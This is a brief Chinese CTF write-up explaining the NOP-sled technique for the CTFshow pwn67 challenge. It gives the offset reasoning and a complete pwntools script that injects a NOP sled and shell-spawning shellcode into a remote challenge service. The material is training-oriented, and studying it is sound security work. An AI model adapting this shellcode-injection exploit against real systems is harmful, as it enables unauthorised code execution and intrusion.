nop sled
nop sled
空操作雪橇。
在shellcode之前加入,加入大量nop指令集合,以此对抗程序中栈地址随机。只要程序执行到其中一个nop就会最终滑向shellcode,从而劫持程序。
nop指令('0x90'),无操作仅计数器加一。
CTFshow pwn67为例。
开启了NX和canary保护,程序最后有一步调用v5指针的操作。
考虑将shellcode写入seed数组。然后调用v5执行shell。
现在问题在于确定v5位置,应当在nop指令序列和shellcode之间。
通过 query_position函数确定大致范围,返回值为&v1+v2
v2为[-668,668]
的一个随机数,v1为局部变量(地址一定在栈上)
由于我汇编知识比较拉,地址计算并不准确,但是在random的基础上,有很大概率可以打通。
nop指令长度设置为random[0,1336]
的范围最大长度1336,通过 query_positon函数得到addr=&v1+random()-668,&v1=addr-random()+668
&seed-&v1=0x15+0x4*3=0x21
&seed = &v1+0x21 = addr -random() + 0x21 + 668
,nop序列长度能够覆盖调用的地址即可。
from pwn import *
file_name = './pwn'
elf = ELF(file_name)
context(arch = 'i386', os = 'linux', log_level = 'debug')
io = remote('pwn.challenge.ctf.show', 28277)
shellcode = asm(shellcraft.sh())
len_nop = 1336
io.recvuntil("location: ")
addr = eval(io.recvuntil("\n", drop = True))
#print(hex(addr))
#pause()
shell_addr = addr + 668 + 0x21
payload = b'\x90' * len_nop + shellcode #\x90为nop指令
io.sendline(payload)
io.sendline(hex(shell_addr))
io.interactive()
艰难困苦,玉汝于成